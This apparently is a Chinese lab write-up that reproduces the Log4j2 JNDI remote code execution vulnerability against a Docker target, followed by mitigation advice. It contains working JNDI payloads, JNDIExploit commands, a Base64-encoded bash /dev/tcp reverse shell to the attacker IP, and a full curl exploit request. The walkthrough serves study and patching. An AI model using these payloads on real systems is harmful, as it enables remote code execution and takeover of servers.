0x00 漏洞介绍
2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。
Apache Log4j2是一个基于Java的日志记录组件,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息,得益于其突出于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
0x01 漏洞原理
1、Log4j2日志
2、log4j2 提供了 lookups
不过log4j2并不满足上面的功能,他们提供了一种叫lookups的功能log4j2的lookups说明。
hello ${java:os}和hello ${java:vm},而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样,那也算不上什么漏洞,只能说功能强大而已。
3、还支持JNDI Lookup、RMI远程调用
可以通过JNDI引入目录资源,进行加载class执行代码,也可以通过RMI远程调用资源。
0x02 漏洞影响版本
影响版本:Apache Log4j2.x <= 2.14.1
已知受影响:srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid、Apache Struts2...
0x03 搭建漏洞环境
目标机:Centos 7
IP:192.168.110.133
攻击机:Kali Linux
IP:192.168.110.141
下载docker漏洞镜像文件
sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest
进入shell命令
sudo docker exec -it 5500411a2fac(容器id) /bin/bash
0x04 漏洞复现
4.1 Payload配合DNSLog检测
先去DNSLog生成域名:zigsvm.dnslog.cn
4.1.1 HackBar构建POC
目标:http://192.168.110.133:8080/hello
POST Payload:
payload=${jndi:ldap://zigsvm.dnslog.cn./exp}
4.2 JNDIEXPloit工具Getshell
4.2.1 基础环境
Centos 7:192.168.110.133
Kali Linux:192.168.110.141
wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
4.2.2 攻击机安装JAVA环境
(这里用的Centos7目标机,这里是在Kali Linux 安装的)
yum install -y java-1.8*
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
4.2.3 配置监听
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.110.141 -p 9090
指定监听9090端口
开始监听LDAP Server服务
再加上一个HTTP Server服务
4.2.4 命令执行输出文件
测试Payload语句
修整下payload,特殊字符需要通过URL编码,尤其像+号需要通过双重URL编码,不然就会被当作连接符。
初始payload:
ZWNobyAiMTIzOTg3IiA+IC90bXAvdGVzdC50eHQ=
url编码后payload:
ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D
构造Payload
${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D}
抓包获取请求包,提交一个JS POST请求数据包,然后用BurpSuite抓取
发送到Repeater模块去测试payload:
请求成功200,看看监听
payload正常。
接下来去docker容器看看
没有文件,直接反弹Shell看看。
4.2.5 反弹Shell
Payload:
bash -i >& /dev/tcp/192.168.110.141/9797 0>&1
bash64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx
url编码:
YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx
Kali Linux设置好监听:
nc -lvvp 9797
抓包重新发送看看:
Shell弹过来了:
4.2.6 Curl命令请求
curl -X POST --data "payload=${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx}" http://192.168.110.133:8080/hello
0x05 BurpSuite被动扫描插件 Log4j2Scan
下载地址:
https://github.com/pochubs/Log4j2Scan-1.git
自己编译下:mvn package
加入到java插件中
配置好一些API,然后看Dashoard这个模块即可
0x06 修复建议
-
升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
-
升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
-
jvm参数 -Dlog4j2.formatMsgNoLookups=true
-
log4j2.formatMsgNoLookups=True
-
系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
-
禁止使用log4j的服务器外连出网
-
使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入,可在一定程度上限制JNDI等漏洞利用方式
内容仅供学习及自我检测修复,根据此文造成的任何后果均由用户个人承担。
原文始发于微信公众号(米瑞尔信息安全):Apache Log4j2 RCE远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论